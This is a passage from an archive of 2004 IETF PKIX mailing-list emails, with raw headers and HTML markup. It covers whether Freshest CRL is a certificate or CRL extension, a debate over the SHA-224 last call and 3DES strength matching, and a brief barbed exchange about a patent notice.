	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DDA link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Is Freshest CRL supposed to be a Certificate
extension or a CRL extension?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>I have always believed that it was a CRL =
extension,
as defined in RFC 3280 section 5.2.6:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>5.2.6&nbsp; Freshest CRL (a.k.a. Delta CRL
Distribution Point)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;&nbsp; The freshest CRL extension =
identifies
how delta CRL information for this complete CRL is =
obtained.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><b><u><font size=3D2 face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>However,<o:=
p></o:p></span></font></u></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>In X.509, this extension is defined a s a =
certificate
extension only in section 8.6.2.6<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<h4><a name=3D"_Toc495383879"></a><a name=3D"_Toc479042804"><b><font =
size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt'>8.6.2.6 &nbsp;&nbsp;&nbsp; Freshest
CRL extension</span></font></b></a><span =
lang=3DEN-GB><o:p></o:p></span></h4>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>The freshest CRL extension shall be used only =
as a
certificate extension and may be used in certificates issued to =
authorities as
well as certificates issued to users. This field identifies the CRL to =
which a
certificate user should refer to obtain the freshest revocation =
information
(e.g.: latest dCRL). This field is defined as =
follows:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Which is correct?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-US style=3D'font-size:12.0pt;color:olive'>Stefan =
Santesson</span></font></b></strong><font
color=3Dblack><span lang=3DEN-US =
style=3D'color:black'><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Program =
Manager, Windows
Security</span></font><font size=3D2 color=3Dblack face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:black'><o:p></o:p></spa=
n></font></p>

</div>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C415DA.0AE2F5AD--

------=_NextPartTM-000-0e232f64-7234-4bb8-b749-b47bdc81e640--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TIOOFk060855; Mon, 29 Mar 2004 10:24:24 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TIOOPj060854; Mon, 29 Mar 2004 10:24:24 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from centaur.acm.jhu.edu ([e-mail] [128.220.223.65]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TIOOsV060848 for <[e-mail]>; Mon, 29 Mar 2004 10:24:24 -0800 (PST) (envelope-from [e-mail])
Received: by centaur.acm.jhu.edu (Postfix, from userid 528) id 6D27F3EBF1; Mon, 29 Mar 2004 13:24:27 -0500 (EST)
Date: Mon, 29 Mar 2004 13:24:27 -0500
From: Jack Lloyd <[e-mail]>
To: [e-mail]
Subject: Re: WG Last Call: SHA-224
Message-ID: <[e-mail]>
Mail-Followup-To: [e-mail]
References: <[e-mail]> <p06100417bc8e182b807e@[63.202.92.152]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06100417bc8e182b807e@[63.202.92.152]>
X-GPG-Key-ID: 4DCDF398
X-GPG-Key-Fingerprint: 2DD2 95F9 C7E3 A15E AF29 80E1 D6A9 A5B9 4DCD F398
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Mon, Mar 29, 2004 at 10:18:43AM -0800, Paul Hoffman / IMC wrote:
> At 12:50 PM -0500 3/29/04, Jack Lloyd wrote:
> >Probably should have sent this to the list in general. I think it's a 
> >serious
> >question if SHA-224 offers any benefit in *any* environment. Are people
> >seriously rolling out new systems (with new algorithms, such as
> >SHA-{224,256,384,512}) that are still using 3DES?
> 
> Yes. TripleDES acceleration chips are much more widely available and 
> tested than AES acceleration chips.

Ah, good point.

-J



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TIIjgL060446; Mon, 29 Mar 2004 10:18:45 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TIIjSn060445; Mon, 29 Mar 2004 10:18:45 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.152] (adsl-63-202-92-152.dsl.snfc21.pacbell.net [63.202.92.152]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TIIgb9060438; Mon, 29 Mar 2004 10:18:43 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06100417bc8e182b807e@[63.202.92.152]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Mon, 29 Mar 2004 10:18:43 -0800
To: Jack Lloyd <[e-mail]>, [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: WG Last Call: SHA-224
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 12:50 PM -0500 3/29/04, Jack Lloyd wrote:
>Probably should have sent this to the list in general. I think it's a serious
>question if SHA-224 offers any benefit in *any* environment. Are people
>seriously rolling out new systems (with new algorithms, such as
>SHA-{224,256,384,512}) that are still using 3DES?

Yes. TripleDES acceleration chips are much more widely available and 
tested than AES acceleration chips.

>In particular, why should the strength of a signature be tied to the strength
>of encryption which might be used in the same system? I don't see these as
>being logically paired.

You want at least a reasonable match so that the customer knows the 
overall strength of the system.

>  > bandwidth-restricted environments where an extra 32 bytes is
>>  important. None of the documents above discuss any such environments.
>
>32 *bits* you mean. That would have to be one awfully bandwidth-restricted
>system,

Whoops. Quite right. 4 octets.

>  and in any case it's rare (that I've seen) that a hash is sent
>directly, either it's used with HMAC (in which case one can use SHA-* and
>safely truncate to 96-128 bits regardless of the hash size), or it's used with
>a sig, in which case it doesn't matter anyway (an RSA sig with SHA-224 is just
>as big as one with SHA-256 or SHA-512 or whatever). In particular the three
>drafts being held up by the SHA-224 draft all seem to be for PK, where the
>smaller size doesn't offer anything except for possibly reducing the strength
>of the signature/encryption.

Again, this should be noted in the SHA-224 RFC so that people 
designing these protocols will see it.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2THo57k058280; Mon, 29 Mar 2004 09:50:05 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2THo5HV058279; Mon, 29 Mar 2004 09:50:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from centaur.acm.jhu.edu ([e-mail] [128.220.223.65]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2THo4mt058273 for <[e-mail]>; Mon, 29 Mar 2004 09:50:04 -0800 (PST) (envelope-from [e-mail])
Received: by centaur.acm.jhu.edu (Postfix, from userid 528) id AD58E3EC0D; Mon, 29 Mar 2004 12:50:07 -0500 (EST)
Date: Mon, 29 Mar 2004 12:50:07 -0500
From: Jack Lloyd <[e-mail]>
To: [e-mail]
Subject: Re: WG Last Call: SHA-224
Message-ID: <[e-mail]>
Mail-Followup-To: [e-mail]
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="rS8CxjVDS/+yyDmU"
Content-Disposition: inline
X-GPG-Key-ID: 4DCDF398
X-GPG-Key-Fingerprint: 2DD2 95F9 C7E3 A15E AF29 80E1 D6A9 A5B9 4DCD F398
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--rS8CxjVDS/+yyDmU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


Probably should have sent this to the list in general. I think it's a serio=
us
question if SHA-224 offers any benefit in *any* environment. Are people
seriously rolling out new systems (with new algorithms, such as
SHA-{224,256,384,512}) that are still using 3DES? Seems a bit counterintiut=
ive
(to me) to be changing the hash and not go ahead and swap in AES while you'=
re
at it. If someone really want this and wants it RFCized, then fine, I just
don't see the logic behind it.

In particular, why should the strength of a signature be tied to the streng=
th
of encryption which might be used in the same system? I don't see these as
being logically paired.

-Jack

----- Forwarded message from Jack Lloyd <[e-mail]> -----

From: Jack Lloyd <[e-mail]>
To: Paul Hoffman / IMC <[e-mail]>
Date: Mon, 29 Mar 2004 11:07:41 -0500
Subject: Re: WG Last Call: SHA-224

On Sun, Mar 28, 2004 at 10:52:58AM -0800, Paul Hoffman / IMC wrote:
>=20
> bandwidth-restricted environments where an extra 32 bytes is=20
> important. None of the documents above discuss any such environments.

32 *bits* you mean. That would have to be one awfully bandwidth-restricted
system, and in any case it's rare (that I've seen) that a hash is sent
directly, either it's used with HMAC (in which case one can use SHA-* and
safely truncate to 96-128 bits regardless of the hash size), or it's used w=
ith
a sig, in which case it doesn't matter anyway (an RSA sig with SHA-224 is j=
ust
as big as one with SHA-256 or SHA-512 or whatever). In particular the three
drafts being held up by the SHA-224 draft all seem to be for PK, where the
smaller size doesn't offer anything except for possibly reducing the streng=
th
of the signature/encryption.

-Jack

----- End forwarded message -----

--rS8CxjVDS/+yyDmU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFAaGHP1qmluU3N85gRAm2RAKCWR4JzP2qhSCKR6pvQEfuuwGkPHgCeIW5W
kDeFD+3JUPTbqPqZug+MTbU=
=FgnH
-----END PGP SIGNATURE-----

--rS8CxjVDS/+yyDmU--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TFfkvL049616; Mon, 29 Mar 2004 07:41:46 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TFfkfO049614; Mon, 29 Mar 2004 07:41:46 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.152] (adsl-63-202-92-152.dsl.snfc21.pacbell.net [63.202.92.152]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TFffLs049555; Mon, 29 Mar 2004 07:41:43 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0610040bbc8df1b47c25@[63.202.92.152]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Date: Mon, 29 Mar 2004 07:41:41 -0800
To: Russ Housley <[e-mail]>, Tim Polk <[e-mail]>, [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: WG Last Call: SHA-224
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 10:25 AM -0500 3/29/04, Russ Housley wrote:
>Paul:
>
>>At 8:21 AM -0500 3/29/04, Russ Housley wrote:
>>>I understand that the computation expense is the same as SHA-256. 
>>>However, as you point out, there are times that a shorter hash 
>>>value is desirable.
>>
>>Do we agree that the only times where it is desirable is in 
>>severely bandwidth-restricted environments? Or am I missing some 
>>other scenario?
>
>It is also useful is you want all of the algorithms in a cipher 
>suite to offer the same strength.  I remember a SAAG discussion that 
>this was called "impedance match," but I do not particularly like 
>that term.

This is all the more reason to put material in the document that 
tells protocol designers what the design goals for SHA-224 are. Such 
wording should explicitly say that SHA-224 SHOULD NOT be used with 
AES-128 or other asymmetric ciphers that have greater than 112 bits 
of strength.

The reason I am hammering on this is that it is somewhat absurd to 
purposely reduce the strength of one of the algorithms in a cipher 
suite just so it "matches". For example, assume that someone this 
year discovers a trivial method for reducing the effective strength 
of TripleDES from 112 to 108 bits. Clearly, no one is going to stop 
using TripleDES or a suite that uses TripleDES. But, using the logic 
that prompted the creation of SHA-224, we will need a new RFC that 
specifies SHA-216 by shaving off eight more bits from the SHA-256 
result.

Instead of this progression, we should be giving protocol designers 
advice that says "it is fine to use a hash algorithm that produces 
more bits than are needed to 'match' the symmetric key strength".

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TFQ4EK047634; Mon, 29 Mar 2004 07:26:04 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TFQ4WN047633; Mon, 29 Mar 2004 07:26:04 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2TFQ34N047624 for <[e-mail]>; Mon, 29 Mar 2004 07:26:03 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 1406 invoked by uid 0); 29 Mar 2004 15:15:55 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (141.156.162.193) by woodstock.binhost.com with SMTP; 29 Mar 2004 15:15:55 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Mon, 29 Mar 2004 10:25:57 -0500
To: Paul Hoffman / IMC <[e-mail]>, Tim Polk <[e-mail]>, [e-mail]
From: Russ Housley <[e-mail]>
Subject: Re: WG Last Call: SHA-224
In-Reply-To: <p06100403bc8de602be47@[63.202.92.152]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Paul:

>At 8:21 AM -0500 3/29/04, Russ Housley wrote:
>>I understand that the computation expense is the same as SHA-256. 
>>However, as you point out, there are times that a shorter hash value is 
>>desirable.
>
>Do we agree that the only times where it is desirable is in severely 
>bandwidth-restricted environments? Or am I missing some other scenario?

It is also useful is you want all of the algorithms in a cipher suite to 
offer the same strength.  I remember a SAAG discussion that this was called 
"impedance match," but I do not particularly like that term.

Russ



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TEivPw045379; Mon, 29 Mar 2004 06:44:57 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TEivUk045378; Mon, 29 Mar 2004 06:44:57 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.152] (adsl-63-202-92-152.dsl.snfc21.pacbell.net [63.202.92.152]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TEisHt045371; Mon, 29 Mar 2004 06:44:54 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06100403bc8de602be47@[63.202.92.152]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]>
Date: Mon, 29 Mar 2004 06:44:51 -0800
To: Russ Housley <[e-mail]>, Tim Polk <[e-mail]>, [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: WG Last Call: SHA-224
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 8:21 AM -0500 3/29/04, Russ Housley wrote:
>I understand that the computation expense is the same as SHA-256. 
>However, as you point out, there are times that a shorter hash value 
>is desirable.

Do we agree that the only times where it is desirable is in severely 
bandwidth-restricted environments? Or am I missing some other 
scenario?

>I would be willing to add a paragraph to the security considerations 
>that point out the equal computational cost for SHA-256 if that 
>would make you feel better.

That's not necessary, and it isn't really a security consideration. 
My preference would be that the document include advice to protocol 
designers about when this is and is not a useful algorithm; without 
that, designers might think they understand its usefulness when they 
don't. That's why I proposed:

>>This document would be well-served to have an additional paragraph 
>>explaining that systems that use TripleDES and need a matching hash 
>>algorithm SHOULD use SHA-256, not SHA-224, unless they are in 
>>severely bandwidth-restricted environments.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TDLDbk039854; Mon, 29 Mar 2004 05:21:13 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TDLDO4039853; Mon, 29 Mar 2004 05:21:13 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2TDLCEx039843 for <[e-mail]>; Mon, 29 Mar 2004 05:21:12 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 17339 invoked by uid 0); 29 Mar 2004 13:11:04 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (138.88.17.181) by woodstock.binhost.com with SMTP; 29 Mar 2004 13:11:04 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Mon, 29 Mar 2004 08:21:10 -0500
To: Paul Hoffman / IMC <[e-mail]>, Tim Polk <[e-mail]>, [e-mail]
From: Russ Housley <[e-mail]>
Subject: Re: WG Last Call: SHA-224
In-Reply-To: <p06100426bc8ccd12de6b@[63.202.92.152]>
References: <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Paul:

I understand that the computation expense is the same as SHA-256.  However, 
as you point out, there are times that a shorter hash value is desirable.

I would be willing to add a paragraph to the security considerations that 
point out the equal computational cost for SHA-256 if that would make you 
feel better.

Russ

At 10:52 AM 3/28/2004 -0800, Paul Hoffman / IMC wrote:

>At 4:14 PM -0500 3/26/04, Tim Polk wrote:
>>This specification will provide a stable reference for the SHA-224 
>>algorithm, which is needed by several IETF specifications.
>
>In searching the Internet Drafts directory, only four documents even 
>mention SHA-224:
>
>eastlake-xmldsig-uri: uses it as part of an exhaustive list, not a requirement
>
>pkix-rsa-pkalgs: uses it as part of an exhaustive list, not a requirement
>
>pkix-sha224: the document in question
>
>smime-cms-rsa-kem: uses it but does not justify why it needs it instead of 
>SHA-256
>
>The train may have left the station on this one, but it is really pretty 
>silly. The only possible use is in severely bandwidth-restricted 
>environments where an extra 32 bytes is important. None of the documents 
>above discuss any such environments.
>
>It is silly to say that SHA-256 doesn't "match" 112 bits of encryption 
>strength. There is no disadvantage to having more bits of randomness, 
>particularly because TripleDES doesn't use 112-bit blocks.
>
>This document would be well-served to have an additional paragraph 
>explaining that systems that use TripleDES and need a matching hash 
>algorithm SHOULD use SHA-256, not SHA-224, unless they are in severely 
>bandwidth-restricted environments.
>
>--Paul Hoffman, Director
>--Internet Mail Consortium
>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2SIquOk057678; Sun, 28 Mar 2004 10:52:56 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2SIquIm057677; Sun, 28 Mar 2004 10:52:56 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.152] (adsl-63-202-92-152.dsl.snfc21.pacbell.net [63.202.92.152]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2SIqrM1057671; Sun, 28 Mar 2004 10:52:55 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06100426bc8ccd12de6b@[63.202.92.152]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Sun, 28 Mar 2004 10:52:58 -0800
To: Tim Polk <[e-mail]>, [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: WG Last Call: SHA-224
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 4:14 PM -0500 3/26/04, Tim Polk wrote:
>This specification will provide a stable reference for the SHA-224 
>algorithm, which is needed by several IETF specifications.

In searching the Internet Drafts directory, only four documents even 
mention SHA-224:

eastlake-xmldsig-uri: uses it as part of an exhaustive list, not a requirement

pkix-rsa-pkalgs: uses it as part of an exhaustive list, not a requirement

pkix-sha224: the document in question

smime-cms-rsa-kem: uses it but does not justify why it needs it 
instead of SHA-256

The train may have left the station on this one, but it is really 
pretty silly. The only possible use is in severely 
bandwidth-restricted environments where an extra 32 bytes is 
important. None of the documents above discuss any such environments.

It is silly to say that SHA-256 doesn't "match" 112 bits of 
encryption strength. There is no disadvantage to having more bits of 
randomness, particularly because TripleDES doesn't use 112-bit blocks.

This document would be well-served to have an additional paragraph 
explaining that systems that use TripleDES and need a matching hash 
algorithm SHOULD use SHA-256, not SHA-224, unless they are in 
severely bandwidth-restricted environments.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QNc18N065751; Fri, 26 Mar 2004 15:38:01 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QNc1Mw065750; Fri, 26 Mar 2004 15:38:01 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QNc0TL065744 for <[e-mail]>; Fri, 26 Mar 2004 15:38:00 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2QNc0bc026542; Fri, 26 Mar 2004 18:38:00 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0602040fbc8a6e07bc22@[128.89.89.75]>
In-Reply-To: <001a01c41389$04ec7870$010aff0a@gw>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]> <02ca01c41354$00160440$010aff0a@gw> <p06020402bc8a1951e167@[128.89.89.75]> <001a01c41389$04ec7870$010aff0a@gw>
Date: Fri, 26 Mar 2004 18:35:38 -0500
To: "todd glassey" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: <[e-mail]>
Content-Type: multipart/alternative; boundary="============_-1131778248==_ma============"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--============_-1131778248==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:25 PM -0800 3/26/04, todd glassey wrote:
>Then your commentary and analysis of this matter is "worthless" eh?
>
>Todd
>

it's worth the value that one accords to my opinions outside of the 
legal domain, which, based on rates paid by my clients, it fairly 
high ;-)

Since the "warning message" was sent by you, not by an attorney, I 
assume its worth should be measured by a similar standard.

Let's see, that would make it worth, eh, oh, I hesitate to say ...

Steve
--============_-1131778248==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>At 12:25 PM -0800 3/26/04, todd glassey wrote:</div>
<blockquote type="cite" cite><font face="Arial" size="-1">Then your
commentary and analysis of this matter is &quot;worthless&quot;
eh?</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">Todd</font><br>
</blockquote>
<div><br></div>
<div>it's worth the value that one accords to my opinions outside of
the legal domain, which, based on rates paid by my clients, it fairly
high ;-)</div>
<div><br></div>
<div>Since the &quot;warning message&quot; was sent by you, not by an
attorney, I assume its worth should be measured by a similar
standard.</div>
<div><br></div>
<div>Let's see, that would make it worth, eh, oh, I hesitate to say
...</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1131778248==_ma============--



